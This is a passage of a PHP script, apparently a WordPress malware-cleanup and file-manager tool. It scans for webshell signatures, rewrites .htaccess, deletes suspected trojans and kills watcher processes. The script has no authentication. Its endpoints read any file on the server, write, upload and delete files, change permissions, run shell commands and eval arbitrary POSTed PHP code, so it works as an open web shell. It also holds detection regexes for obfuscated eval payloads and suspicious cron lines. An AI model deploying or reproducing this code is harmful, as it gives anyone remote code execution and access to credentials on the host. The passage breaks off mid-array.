<?php
ini_set('display_errors',0);error_reporting(E_ALL&~E_NOTICE);$ROOT=realpath('/');if($ROOT===false)$ROOT=realpath(dirname(__FILE__));if(function_exists('session_start'))@session_start();
function esc($s){return htmlspecialchars((string)$s,ENT_QUOTES,'UTF-8');}
function json_out($d){header('Content-Type: application/json; charset=utf-8');echo json_encode($d);exit;}
function safe_real($path){if($path===''||$path===null)return false;$real=realpath($path);return $real===false?false:$real;}
function req($k,$def=''){return isset($_REQUEST[$k])?$_REQUEST[$k]:$def;}
function g($k,$def=''){return isset($_GET[$k])?$_GET[$k]:$def;}
function p($k,$def=''){return isset($_POST[$k])?$_POST[$k]:$def;}
function sv($k,$def=''){return isset($_SERVER[$k])?$_SERVER[$k]:$def;}
$docRoot=str_replace('\\','/',realpath(isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:getcwd()));
function file_to_web_url($filePath,$docRoot){$fp=str_replace('\\','/',realpath($filePath)?realpath($filePath):$filePath);if(strpos($fp,$docRoot)===0){return substr($fp,strlen($docRoot));}return dirname(isset($_SERVER['SCRIPT_NAME'])?$_SERVER['SCRIPT_NAME']:'/').'/'.basename($filePath);}
function _aq_dirsort($a,$b){if($a['is_dir']&&!$b['is_dir'])return -1;if(!$a['is_dir']&&$b['is_dir'])return 1;return strcasecmp($a['name'],$b['name']);}
function list_dir_sorted($dir){
  $items=array();
  $parent=dirname($dir);
  if($parent!==$dir){$items[]=array('name'=>'..','is_dir'=>true,'size'=>0,'mtime'=>filemtime($parent),'perm'=>substr(sprintf('%o',fileperms($parent)),-4),'path'=>$parent);}
  $files=@scandir($dir);if(!$files)return $items;
  $sub=array();
  foreach($files as $f){if($f==='.'||$f==='..')continue;$full=$dir.'/'.$f;$sub[]=array('name'=>$f,'is_dir'=>is_dir($full),'size'=>is_file($full)?filesize($full):0,'mtime'=>filemtime($full),'perm'=>substr(sprintf('%o',fileperms($full)),-4),'path'=>$full);}
  usort($sub,'_aq_dirsort');
  return array_merge($items,$sub);
}
function human_size($n){if($n>1024*1024)return round($n/1024/1024,2).' MB';if($n>1024)return round($n/1024,2).' KB';return $n.' B';}
function set_flash($m){$_SESSION['fm_flash']=$m;}function get_flash(){$m=isset($_SESSION['fm_flash'])?$_SESSION['fm_flash']:'';unset($_SESSION['fm_flash']);return $m;}
function getWebServerType(){
  $sapi=php_sapi_name();
  if(in_array($sapi,array('cli','cli-server','phpdbg')))return 'CLI';
  if($sapi==='litespeed')return 'LiteSpeed';
  if($sapi==='apache2handler')return 'Apache';
  $software=strtolower(sv('SERVER_SOFTWARE'));
  if(strpos($sapi,'fcgi')!==false||strpos($sapi,'fpm')!==false||strpos($sapi,'cgi')!==false){if(strpos($software,'iis')!==false)return 'IIS';return 'Nginx';}
  if(strpos($software,'nginx')!==false)return 'Nginx';
  if(strpos($software,'apache')!==false)return 'Apache';
  if(strpos($software,'litespeed')!==false)return 'LiteSpeed';
  if(strpos($software,'iis')!==false)return 'IIS';
  if(strpos($software,'caddy')!==false)return 'Caddy';
  return 'Unknown';
}

// ============================================================
// 安全扫描 & 权限修复 辅助函数
// ============================================================
function _aq_scan_suspicious($dir,$depth=0,$maxDepth=5){
  $findings=array();
  if($depth>$maxDepth)return $findings;
  $items=@scandir($dir);
  if(!$items)return $findings;
  foreach($items as $item){
    if($item==='.'||$item==='..')continue;
    $full=$dir.'/'.$item;

    // ---- 可疑的隐藏 PHP 文件 / 伪装文件 ----
    if(is_file($full)){
      $lower=strtolower($item);
      $ext=strtolower(pathinfo($item,PATHINFO_EXTENSION));
      $sz=@filesize($full);

      // 1) 点开头的 php 文件 (.xxx.php)
      if($item[0]==='.'&&($ext==='php'||$ext==='phtml'||$ext==='php5'||$ext==='php7'||$ext==='pht')){
        $findings[]=array('type'=>'hidden_php','path'=>$full,'reason'=>'Hidden PHP file (dot-prefixed)','risk'=>'high');
      }
      // 2) 随机文件名 (8+ hex chars)
      $base=pathinfo($item,PATHINFO_FILENAME);
      if(strlen($base)>=8 && preg_match('/^[a-f0-9]+$/i',$base) && ($ext==='php'||$ext==='phtml')){
        $findings[]=array('type'=>'random_name','path'=>$full,'reason'=>'Random hex filename — likely webshell','risk'=>'high');
      }
      // 3) .ico / .jpg / .png 但实际包含 PHP 代码
      if(in_array($ext,array('ico','jpg','jpeg','png','gif','bmp','txt','log','html','htm','css'))){
        $head=@file_get_contents($full,false,null,0,4096);
        if($head!==false){
          if(preg_match('/<\?php|eval\s*\(|base64_decode\s*\(|gzinflate\s*\(|str_rot13\s*\(|assert\s*\(/i',$head)){
            $findings[]=array('type'=>'disguised_php','path'=>$full,'reason'=>'Non-PHP extension contains PHP/eval code','risk'=>'high');
          }
        }
      }
      // 4) PHP 文件含高危函数
      if($ext==='php'||$ext==='phtml'||$ext==='php5'||$ext==='php7'||$ext==='pht'||$ext==='inc'){
        $head=@file_get_contents($full,false,null,0,8192);
        if($head!==false){
          $flags=array();
          if(preg_match('/eval\s*\(\s*(\$_|base64_decode|gzinflate|str_rot13|gzuncompress)/i',$head))$flags[]='eval+decode';
          if(preg_match('/\b(assert|preg_replace\s*\(\s*["\']\/[^\/]*e["\'])\s*\(/i',$head))$flags[]='assert/preg_e';
          if(preg_match('/\$\w+\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)/i',$head))$flags[]='variable_function($_INPUT)';
          if(preg_match('/base64_decode\s*\(.*\){5,}/i',$head))$flags[]='nested_decode';
          if(preg_match('/\\\\x[0-9a-f]{2}.*\\\\x[0-9a-f]{2}.*\\\\x[0-9a-f]{2}/i',$head))$flags[]='hex_obfuscated';
          if(preg_match('/chr\s*\(\s*\d+\s*\)\s*\.\s*chr/i',$head))$flags[]='chr_concat';
          if(preg_match('/file_put_contents\s*\(.*\$_(GET|POST|REQUEST|COOKIE)/i',$head))$flags[]='file_write_from_input';
          // 监控权限的特征: chmod + inotify / clearstatcache 循环
          $wpcore=array('misc.php','file.php','class-wp-filesystem-direct.php','plugin.php','post.php','image.php');
          if(!in_array(strtolower($item),$wpcore)&&preg_match('/chmod\s*\(\s*[^,]+,\s*0?[04]{3}\s*\)/i',$head)&&preg_match('/while\s*\(\s*(true|1)|for\s*\(\s*;;|sleep\s*\(|inotify_/i',$head))$flags[]='perm_locker';
          if(!empty($flags)){
            $findings[]=array('type'=>'malicious_code','path'=>$full,'reason'=>implode(', ',$flags),'risk'=>'high');
          }
        }
      }
      // 5) 权限异常的文件 (000, 444, setuid/setgid on php)
      $perm=@fileperms($full);
      if($perm!==false){
        $oct=decoct($perm & 0777);
        if(($ext==='php'||$ext==='html'||$ext==='htm')&&($oct==='444'||$oct==='000')){
          $findings[]=array('type'=>'locked_perm','path'=>$full,'reason'=>'Permission locked to '.$oct,'risk'=>'medium');
        }
      }
    }

    // ---- .user.ini / .htaccess 注入 ----
    if(is_file($full)&&($item==='.user.ini'||$item==='.htaccess')){
      $content=@file_get_contents($full);
      if($content!==false){
        $dirty=false;$why=array();
        if($item==='.user.ini'){
          if(preg_match('/auto_prepend_file\s*=/i',$content)){$dirty=true;$why[]='auto_prepend_file';}
          if(preg_match('/auto_append_file\s*=/i',$content)){$dirty=true;$why[]='auto_append_file';}
        }
        if($item==='.htaccess'){
          if(preg_match('/php_value\s+auto_prepend_file/i',$content)){$dirty=true;$why[]='php_value auto_prepend_file';}
          if(preg_match('/php_value\s+auto_append_file/i',$content)){$dirty=true;$why[]='php_value auto_append_file';}
          // SetHandler 把非 PHP 后缀当 PHP 执行
          if(preg_match('/SetHandler\s+.*php/i',$content)&&preg_match('/\.ico|\.jpg|\.png|\.gif|\.txt|\.log/i',$content)){$dirty=true;$why[]='SetHandler routes non-php to php';}
        }
        if($dirty){
          $findings[]=array('type'=>'config_inject','path'=>$full,'reason'=>implode(', ',$why),'risk'=>'high');
        }
      }
    }

    // ---- 可疑的隐藏目录 ----
    if(is_dir($full)){
      $lower=strtolower($item);
      // 以点开头但不是 .well-known 的目录含有 php
      if($item[0]==='.'&&$lower!=='.well-known'&&$lower!=='.git'&&$lower!=='.svn'&&$lower!=='.idea'&&$lower!=='.vscode'){
        // 检查里面有没有 php
        $sub=@scandir($full);
        if($sub){
          foreach($sub as $sf){
            if($sf==='.'||$sf==='..')continue;
            $sext=strtolower(pathinfo($sf,PATHINFO_EXTENSION));
            if(in_array($sext,array('php','phtml','php5','php7','pht'))){
              $findings[]=array('type'=>'hidden_dir_php','path'=>$full.'/'.$sf,'reason'=>'PHP in hidden directory '.$item.'/','risk'=>'high');
            }
          }
        }
      }
      // 目录权限 000/111
      $dperm=@fileperms($full);
      if($dperm!==false){
        $doct=decoct($dperm & 0777);
        if($doct==='000'||$doct==='111'){
          $findings[]=array('type'=>'locked_dir','path'=>$full,'reason'=>'Directory locked to '.$doct,'risk'=>'medium');
        }
      }
      // recurse
      $findings=array_merge($findings,_aq_scan_suspicious($full,$depth+1,$maxDepth));
    }
  }
  return $findings;
}

function _aq_check_crontab(){
  $results=array();
  if(!function_exists('exec'))return $results;
  $out=array();$ret=0;
  @exec('crontab -l 2>/dev/null',$out,$ret);
  if($ret===0&&!empty($out)){
    foreach($out as $line){
      $line=trim($line);
      if($line===''||$line[0]==='#')continue;
      if(preg_match('/\.php|curl\s|wget\s|eval|base64/i',$line)){
        $results[]=array('type'=>'cron_suspicious','path'=>'crontab','reason'=>$line,'risk'=>'high');
      }
    }
  }
  return $results;
}


$action=req('action','list');

// 下载文件
if($action==='download'){
  $dir=safe_real(g('path'));$file=g('file');
  if(!$dir||!$file){header('HTTP/1.0 400 Bad Request');echo 'Missing params';exit;}
  $full=$dir.'/'.basename($file);
  if(!is_file($full)){header('HTTP/1.0 404 Not Found');echo 'File not found';exit;}
  header('Content-Description: File Transfer');
  header('Content-Type: application/octet-stream');
  header('Content-Disposition: attachment; filename="'.basename($full).'"');
  header('Content-Length: '.filesize($full));
  header('Cache-Control: must-revalidate');
  readfile($full);
  exit;
}

if(isset($_GET['api'])||isset($_POST['api'])){
if($action==='getfile'&&isset($_GET['fullpath'])){$full=safe_real($_GET['fullpath']);if($full&&is_file($full)){header('Content-Type: text/plain; charset=utf-8');echo file_get_contents($full);exit;}else{http_response_code(404);echo "Not found";exit;}}
if($action==='savefile'&&isset($_POST['fullpath'])&&isset($_POST['content'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(array('ok'=>false,'error'=>'invalid path'));if(is_writable($full)||is_writable(dirname($full))){$ok=file_put_contents($full,$_POST['content'])!==false;json_out(array('ok'=>$ok));}else json_out(array('ok'=>false,'error'=>'no write permission'));}
if($action==='upload'&&!empty($_FILES)){$results=array();$target=g('target',p('target'));$targetReal=safe_real($target);if(!$targetReal)$targetReal=$target;if($targetReal===''||!is_dir($targetReal))$targetReal=getcwd();foreach($_FILES as $field){if(is_array($field['name'])){for($i=0;$i<count($field['name']);$i++){$name=basename($field['name'][$i]);$tmp=$field['tmp_name'][$i];$full=rtrim($targetReal,'/').'/'.$name;$ok=false;if($tmp&&is_uploaded_file($tmp))$ok=move_uploaded_file($tmp,$full);$results[]=array('name'=>$name,'ok'=>$ok,'path'=>$full);}}else{$name=basename($field['name']);$tmp=$field['tmp_name'];$full=rtrim($targetReal,'/').'/'.$name;$ok=false;if($tmp&&is_uploaded_file($tmp))$ok=move_uploaded_file($tmp,$full);$results[]=array('name'=>$name,'ok'=>$ok,'path'=>$full);}}json_out(array('ok'=>true,'results'=>$results));}
if($action==='delete'&&isset($_POST['fullpath'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(array('ok'=>false,'error'=>'invalid'));if(!file_exists($full))json_out(array('ok'=>false,'error'=>'not exists'));if(is_dir($full)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);foreach($it as $item){$item->isDir()?rmdir($item->getRealPath()):unlink($item->getRealPath());}$ok=rmdir($full);}else $ok=unlink($full);json_out(array('ok'=>$ok));}
if($action==='chmod'&&isset($_POST['fullpath'])&&isset($_POST['mode'])){$full=safe_real($_POST['fullpath']);$mode=intval($_POST['mode'],8);$ok=@chmod($full,$mode);json_out(array('ok'=>$ok));}
if($action==='mkdir'&&isset($_POST['dirpath'])&&isset($_POST['name'])){$base=safe_real($_POST['dirpath']);if(!$base)$base=$_POST['dirpath'];$name=basename($_POST['name']);$full=rtrim($base,'/').'/'.$name;$ok=@mkdir($full,0755);json_out(array('ok'=>$ok,'path'=>$full));}
if($action==='rename'&&isset($_POST['fullpath'])&&isset($_POST['newname'])){$full=safe_real($_POST['fullpath']);$new=basename($_POST['newname']);$to=dirname($full).'/'.$new;$ok=@rename($full,$to);json_out(array('ok'=>$ok,'to'=>$to));}
if($action==='gen_htaccess'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath']);if(!$dir)$dir=getcwd();$full=rtrim($dir,'/').'/.htaccess';$content="RewriteEngine On\nRewriteBase /\n\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteRule ^(.*)$ index.php [L]";$ok=@file_put_contents($full,$content)!==false;json_out(array('ok'=>$ok));}
if($action==='gen_robots'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath']);if(!$dir)$dir=getcwd();$full=rtrim($dir,'/').'/robots.txt';$https=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'||sv('SERVER_PORT')==443);$protocol=$https?"https://":"http://";$domain=$protocol.sv('HTTP_HOST','localhost');$content="User-agent: *\nAllow: /\nSitemap: {$domain}/sitemap.xml";$ok=@file_put_contents($full,$content)!==false;json_out(array('ok'=>$ok));}

// === Create File ===
if($action==='createfile'&&isset($_POST['dirpath'])&&isset($_POST['filename'])){
  $base=safe_real($_POST['dirpath']);
  if(!$base)$base=$_POST['dirpath'];
  $name=basename($_POST['filename']);
  if($name==='')json_out(array('ok'=>false,'error'=>'empty filename'));
  $full=rtrim($base,'/').'/'.$name;
  if(file_exists($full))json_out(array('ok'=>false,'error'=>'file already exists'));
  $content=isset($_POST['content'])?$_POST['content']:'';
  $ok=@file_put_contents($full,$content)!==false;
  json_out(array('ok'=>$ok,'path'=>$full));
}

// === PHP Console ===
if($action==='phpconsole'&&isset($_POST['code'])){
  $code=$_POST['code'];
  $output='';$error='';$ok=true;
  ob_start();
  $__prev_err=error_reporting(E_ALL);
  $__old_handler=set_error_handler('_aq_console_err_handler');
  $__start=microtime(true);
  try{
    $ret=eval($code);
  }catch(Exception $e){
    $error='Exception: '.$e->getMessage().' in line '.$e->getLine();
    $ok=false;
  }
  $__elapsed=round((microtime(true)-$__start)*1000,2);
  $output=ob_get_clean();
  error_reporting($__prev_err);
  if($__old_handler!==null)set_error_handler($__old_handler); else restore_error_handler();
  global $__aq_console_errors;
  $warnings='';
  if(!empty($__aq_console_errors)){
    $parts=array();
    foreach($__aq_console_errors as $ce){$parts[]=$ce;}
    $warnings=implode("\n",$parts);
  }
  $result=array('ok'=>$ok,'output'=>$output,'error'=>$error,'warnings'=>$warnings,'time'=>$__elapsed.'ms','php_version'=>PHP_VERSION);
  if($ok && $ret!==null && $ret!==false && $ret!==true && $ret!==1){
    $result['return']=print_r($ret,true);
  }
  json_out($result);
}

// === Security Scan ===
if($action==='security_scan'){
  $scanDir=isset($_POST['scandir'])?$_POST['scandir']:'';
  $scanReal=safe_real($scanDir);
  if(!$scanReal)$scanReal=$docRoot;
  if(!$scanReal)$scanReal=getcwd();
  $findings=_aq_scan_suspicious($scanReal,0,6);
  // also check crontab
  $findings=array_merge($findings,_aq_check_crontab());
  json_out(array('ok'=>true,'scan_root'=>$scanReal,'count'=>count($findings),'findings'=>$findings));
}

// === Security Fix: batch chmod repair ===
if($action==='security_fix'&&isset($_POST['fixes'])){
  $fixes=json_decode($_POST['fixes'],true);
  if(!is_array($fixes))json_out(array('ok'=>false,'error'=>'invalid fixes'));
  $results=array();
  foreach($fixes as $fix){
    $path=isset($fix['path'])?$fix['path']:'';
    $act=isset($fix['act'])?$fix['act']:'';
    $real=safe_real($path);
    $r=array('path'=>$path,'ok'=>false,'msg'=>'');
    if(!$real&&$act!=='delete'){$r['msg']='path not found';$results[]=$r;continue;}
    if($act==='chmod755'){
      $ok=@chmod($real,0755);$r['ok']=$ok;$r['msg']=$ok?'chmod 755 done':'chmod failed';
    }elseif($act==='chmod644'){
      $ok=@chmod($real,0644);$r['ok']=$ok;$r['msg']=$ok?'chmod 644 done':'chmod failed';
    }elseif($act==='delete'){
      if(!$real){$r['msg']='file not found';$results[]=$r;continue;}
      if(is_dir($real)){
        $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($real,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);
        foreach($it as $item){$item->isDir()?@rmdir($item->getRealPath()):@unlink($item->getRealPath());}
        $ok=@rmdir($real);
      }else{
        $ok=@unlink($real);
      }
      $r['ok']=$ok;$r['msg']=$ok?'deleted':'delete failed';
    }elseif($act==='clean_config'){
      // remove malicious lines from .user.ini / .htaccess
      if(!$real||!is_file($real)){$r['msg']='not a file';$results[]=$r;continue;}
      $content=@file_get_contents($real);
      if($content===false){$r['msg']='cannot read';$results[]=$r;continue;}
      $orig=$content;
      // remove auto_prepend/append lines
      $content=preg_replace('/^\s*(auto_prepend_file|auto_append_file)\s*=.*$/mi','',$content);
      $content=preg_replace('/^\s*php_value\s+(auto_prepend_file|auto_append_file)\s+.*$/mi','',$content);
      // remove SetHandler for non-php
      $content=preg_replace('/^\s*<FilesMatch.*SetHandler.*php.*<\/FilesMatch>\s*$/msi','',$content);
      $content=trim($content);
      if($content!==$orig){
        $ok=@file_put_contents($real,$content)!==false;
        $r['ok']=$ok;$r['msg']=$ok?'cleaned malicious directives':'write failed';
      }else{
        $r['ok']=true;$r['msg']='no malicious directives found';
      }
    }
    $results[]=$r;
  }
  json_out(array('ok'=>true,'results'=>$results));
}

// === Batch permission reset for docroot ===
if($action==='reset_docroot_perms'){
  $root=$docRoot;
  if(!$root)$root=getcwd();
  $log=array();
  // fix docroot itself to 755
  $ok=@chmod($root,0755);
  $log[]=array('path'=>$root,'action'=>'chmod 755','ok'=>$ok);
  // iterate all immediate children
  $items=@scandir($root);
  if($items){
    foreach($items as $item){
      if($item==='.'||$item==='..')continue;
      $full=$root.'/'.$item;
      if(is_dir($full)){
        $ok=@chmod($full,0755);
        $log[]=array('path'=>$full,'action'=>'chmod 755','ok'=>$ok);
      }else{
        // files -> 644, except .php -> 644 (NOT 444)
        $ok=@chmod($full,0644);
        $log[]=array('path'=>$full,'action'=>'chmod 644','ok'=>$ok);
      }
    }
  }
  json_out(array('ok'=>true,'root'=>$root,'log'=>$log));
}

// === CHAIN BREAKER: 一次请求内按顺序完成 净化htaccess -> 杀木马 -> 解锁权限 ===
// 已知的正常WP核心php文件白名单(用于从被污染的.htaccess白名单里区分出恶意文件)
function _aq_wp_core_whitelist(){
  return array('index.php','wp-blog-header.php','wp-config-sample.php','wp-links-opml.php','wp-login.php','wp-settings.php','wp-trackback.php','wp-activate.php','wp-comments-post.php','wp-cron.php','wp-load.php','wp-mail.php','wp-signup.php','xmlrpc.php','edit-form-advanced.php','link-parse-opml.php','ms-sites.php','options-writing.php','themes.php','admin-ajax.php','edit-form-comment.php','link.php','ms-themes.php','plugin-editor.php','admin-footer.php','edit-link-form.php','load-scripts.php','ms-upgrade-network.php','admin-functions.php','edit.php','load-styles.php','ms-users.php','plugins.php','admin-header.php','edit-tag-form.php','media-new.php','my-sites.php','post-new.php','admin.php','edit-tags.php','media.php','nav-menus.php','post.php','admin-post.php','export.php','media-upload.php','network.php','press-this.php','upload.php','async-upload.php','menu-header.php','options-discussion.php','privacy.php','user-edit.php','menu.php','options-general.php','profile.php','user-new.php','moderation.php','options-head.php','revision.php','users.php','custom-background.php','ms-admin.php','options-media.php','setup-config.php','widgets.php','custom-header.php','ms-delete-site.php','options-permalink.php','term.php','customize.php','link-add.php','ms-edit.php','options.php','edit-comments.php','link-manager.php','ms-options.php','options-reading.php');
}

// 分析.htaccess白名单里有哪些名字不属于WP核心 => 高度疑似恶意
function _aq_htaccess_suspects($content){
  $suspects=array();
  $wp=_aq_wp_core_whitelist();
  $wpmap=array();foreach($wp as $w){$wpmap[strtolower($w)]=true;}
  // 抓第二段 Allow 白名单里的所有 xxx.php
  if(preg_match_all('/([A-Za-z0-9_\-]+\.php)/',$content,$m)){
    $seen=array();
    foreach($m[1] as $name){
      $l=strtolower($name);
      if(isset($seen[$l]))continue;$seen[$l]=true;
      if(!isset($wpmap[$l])){$suspects[]=$name;}
    }
  }
  return $suspects;
}

// 预览: 只分析不动手, 让用户先看清楚将要做什么
if($action==='chain_analyze'){
  $root=$docRoot;if(!$root)$root=getcwd();
  $out=array('root'=>$root,'htaccess'=>null,'suspect_files'=>array(),'locked'=>array());
  $ht=$root.'/.htaccess';
  if(is_file($ht)){
    $c=@file_get_contents($ht);
    $suspects=_aq_htaccess_suspects($c);
    $out['htaccess']=array('exists'=>true,'writable'=>is_writable($ht),'perm'=>substr(sprintf('%o',fileperms($ht)),-4),'suspect_count'=>count($suspects));
    // 每个疑似名字在根目录下是否真实存在
    foreach($suspects as $name){
      $fp=$root.'/'.$name;
      $out['suspect_files'][]=array('name'=>$name,'exists'=>is_file($fp),'path'=>$fp,'writable'=>is_file($fp)?is_writable($fp):false,'perm'=>is_file($fp)?substr(sprintf('%o',fileperms($fp)),-4):'-');
    }
  }else{
    $out['htaccess']=array('exists'=>false);
  }
  // 检查index.php锁定情况
  $idx=$root.'/index.php';
  if(is_file($idx)){
    $out['index']=array('perm'=>substr(sprintf('%o',fileperms($idx)),-4),'writable'=>is_writable($idx),'owner'=>function_exists('fileowner')?@fileowner($idx):'?','proc_uid'=>function_exists('posix_getuid')?@posix_getuid():'?');
  }
  json_out(array('ok'=>true,'analyze'=>$out));
}

// 执行: 在同一次请求里按 净化->杀->解锁 顺序一口气做完
if($action==='chain_break'){
  $root=$docRoot;if(!$root)$root=getcwd();
  $log=array();
  $addLog=false; // placeholder
  $extraFiles=isset($_POST['extra_files'])?json_decode($_POST['extra_files'],true):array();
  if(!is_array($extraFiles))$extraFiles=array();

  // ---------- STEP 1: 备份并净化 .htaccess ----------
  $ht=$root.'/.htaccess';
  $suspects=array();
  if(is_file($ht)){
    $orig=@file_get_contents($ht);
    // 备份
    $bak=$ht.'.bak_'.date('YmdHis');
    @file_put_contents($bak,$orig);
    $log[]=array('step'=>1,'path'=>$bak,'action'=>'backup .htaccess','ok'=>is_file($bak));
    // 找出恶意白名单文件, 供 step2 删除
    $suspects=_aq_htaccess_suspects($orig);
    // 强行放开权限再写(它可能是444)
    @chmod($ht,0644);
    // 写入一个干净的标准WP .htaccess
    $clean="# BEGIN WordPress\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>\n# END WordPress\n";
    $w=@file_put_contents($ht,$clean);
    $log[]=array('step'=>1,'path'=>$ht,'action'=>'rewrite clean .htaccess','ok'=>($w!==false),'msg'=>($w!==false?'已替换为干净规则,原文件已备份':'写入失败-可能属主不是当前用户'));
  }else{
    $log[]=array('step'=>1,'path'=>$ht,'action'=>'rewrite .htaccess','ok'=>false,'msg'=>'.htaccess 不存在,跳过');
  }

  // ---------- STEP 2: 删除木马文件(先删执行体,断掉锁权限的链) ----------
  // 2a. .htaccess白名单里的非WP文件
  $killList=array();
  foreach($suspects as $name){$fp=$root.'/'.$name;if(is_file($fp))$killList[$fp]=true;}
  // 2b. 用户在前端勾选的额外文件(扫描发现的木马)
  foreach($extraFiles as $fp){$rp=safe_real($fp);if($rp&&is_file($rp))$killList[$rp]=true;}
  foreach(array_keys($killList) as $fp){
    @chmod($fp,0644); // 先解锁再删
    $ok=@unlink($fp);
    $log[]=array('step'=>2,'path'=>$fp,'action'=>'delete malware','ok'=>$ok,'msg'=>$ok?'已删除':'删除失败-属主可能不同或已被锁');
  }

  // ---------- STEP 3: 此刻木马已死,解锁被锁定的核心文件权限 ----------
  $targets=array($root.'/index.php',$root.'/wp-config.php',$root.'/wp-load.php',$root.'/wp-settings.php',$root.'/.htaccess');
  foreach($targets as $t){
    if(is_file($t)){
      $before=substr(sprintf('%o',fileperms($t)),-4);
      $ok=@chmod($t,0644);
      $after=substr(sprintf('%o',fileperms($t)),-4);
      $log[]=array('step'=>3,'path'=>$t,'action'=>'unlock 644','ok'=>$ok,'msg'=>$before.' -> '.$after);
    }
  }
  // 根目录本身 755
  @chmod($root,0755);
  $log[]=array('step'=>3,'path'=>$root,'action'=>'docroot 755','ok'=>true,'msg'=>'');

  // ---------- STEP 4: 复验 index.php 是否还在被锁 ----------
  $idx=$root.'/index.php';
  $verify=null;
  if(is_file($idx)){
    clearstatcache();
    $verify=array('perm'=>substr(sprintf('%o',fileperms($idx)),-4),'writable'=>is_writable($idx));
  }
  json_out(array('ok'=>true,'root'=>$root,'suspects_from_htaccess'=>count($suspects),'log'=>$log,'verify'=>$verify));
}

// === CHAIN ISOLATE v2: 杀进程→改名断链→强制chmod→改回来→复验循环 ===
// 强制chmod辅助: 先试PHP chmod, 不行就exec chmod, 再不行试chown
function _aq_force_chmod($path,$mode,$log_label=''){
  $modeStr=sprintf('%o',$mode);
  // 清除stat缓存
  clearstatcache(true,$path);
  // 方法1: PHP原生chmod
  $ok=@chmod($path,$mode);
  clearstatcache(true,$path);
  $actual=decoct(@fileperms($path) & 0777);
  if($actual===$modeStr) return array('ok'=>true,'method'=>'php chmod','before'=>'','after'=>$actual);
  // 方法2: exec chmod (shell层面)
  if(function_exists('exec')){
    @exec('chmod '.$modeStr.' '.escapeshellarg($path).' 2>&1',$out,$ret);
    clearstatcache(true,$path);
    $actual=decoct(@fileperms($path) & 0777);
    if($actual===$modeStr) return array('ok'=>true,'method'=>'exec chmod','before'=>'','after'=>$actual);
  }
  // 方法3: system()
  if(function_exists('system')){
    @system('chmod '.$modeStr.' '.escapeshellarg($path).' 2>&1');
    clearstatcache(true,$path);
    $actual=decoct(@fileperms($path) & 0777);
    if($actual===$modeStr) return array('ok'=>true,'method'=>'system chmod','before'=>'','after'=>$actual);
  }
  // 方法4: shell_exec()
  if(function_exists('shell_exec')){
    @shell_exec('chmod '.$modeStr.' '.escapeshellarg($path).' 2>/dev/null');
    clearstatcache(true,$path);
    $actual=decoct(@fileperms($path) & 0777);
    if($actual===$modeStr) return array('ok'=>true,'method'=>'shell_exec chmod','before'=>'','after'=>$actual);
  }
  return array('ok'=>false,'method'=>'all failed','before'=>'','after'=>$actual);
}

// 杀掉当前用户的所有其他PHP进程(木马监控脚本)
function _aq_kill_php_watchers(){
  $killed=array();
  if(!function_exists('exec'))return array('ok'=>false,'msg'=>'exec disabled','killed'=>$killed);
  $myPid=getmypid();
  $out=array();$ret=0;
  // 找到所有PHP进程(包括php-fpm worker)
  @exec('ps aux 2>/dev/null | grep -i php | grep -v grep',$out,$ret);
  // 也查inotifywait等监控进程
  $out2=array();
  @exec('ps aux 2>/dev/null | grep -i inotify | grep -v grep',$out2,$ret);
  $out=array_merge($out,$out2);
  // 获取当前用户
  $me='';
  if(function_exists('posix_getuid')){
    $info=@posix_getpwuid(posix_getuid());
    if($info)$me=$info['name'];
  }
  if(!$me)$me=@getenv('USER');
  foreach($out as $line){
    $parts=preg_split('/\s+/',trim($line));
    if(count($parts)<2)continue;
    $user=$parts[0];$pid=intval($parts[1]);
    if($pid===$myPid||$pid<=1)continue;
    // 只杀自己用户的进程,或者如果检测不到用户就跳过避免误杀
    if($me&&$user!==$me)continue;
    // 检查是否有可疑的命令行(包含chmod, inotify, while, 或很长的base64)
    $cmdline=implode(' ',array_slice($parts,10));
    $suspicious=false;
    if(preg_match('/inotify/i',$cmdline))$suspicious=true;
    if(preg_match('/chmod.*0?[04]{3}/i',$cmdline))$suspicious=true;
    if(preg_match('/while\s*.*chmod|chmod.*while/i',$cmdline))$suspicious=true;
    if(preg_match('/watch|monitor|lock.*perm/i',$cmdline))$suspicious=true;
    // 不要杀自己和明确的正常进程(php-fpm master等)
    if($suspicious){
      @exec('kill -9 '.$pid.' 2>/dev/null');
      $killed[]=array('pid'=>$pid,'cmd'=>substr($cmdline,0,120));
    }
  }
  // 也尝试直接杀用户的所有inotifywait进程
  @exec('killall -9 inotifywait 2>/dev/null');
  return array('ok'=>true,'msg'=>'scanned','killed'=>$killed,'my_pid'=>$myPid);
}

if($action==='chain_isolate'){
  // ============================================================
  // v3 纯断链模式:改名所有WP入口 + wp-content/wp-includes
  // 不改权限,不恢复,让WP彻底停机,木马无法通过任何入口触发
  // ============================================================
  $root=$docRoot;if(!$root)$root=getcwd();
  $log=array();

  // 断链目标:改名所有 WP 官方根目录 PHP 文件 + wp-content/wp-includes 目录
  // 入口文件(改名后WP完全无法启动;木马也无法通过这些WP入口触发)
  // 注意:只封WP官方的根目录PHP,其他PHP文件(可能是用户后门)一律不动
  // 不封:wp-config.php / wp-config-sample.php / wp-load.php (用户已动过)
  $entryFiles=array(
    'index.php'            => 'index.php.locked',
    'wp-login.php'         => 'wp-login.php.locked',
    'wp-cron.php'          => 'wp-cron.php.locked',
    'xmlrpc.php'           => 'xmlrpc.php.locked',
    'wp-activate.php'      => 'wp-activate.php.locked',
    'wp-blog-header.php'   => 'wp-blog-header.php.locked',
    'wp-comments-post.php' => 'wp-comments-post.php.locked',
    'wp-links-opml.php'    => 'wp-links-opml.php.locked',
    'wp-mail.php'          => 'wp-mail.php.locked',
    'wp-settings.php'      => 'wp-settings.php.locked',
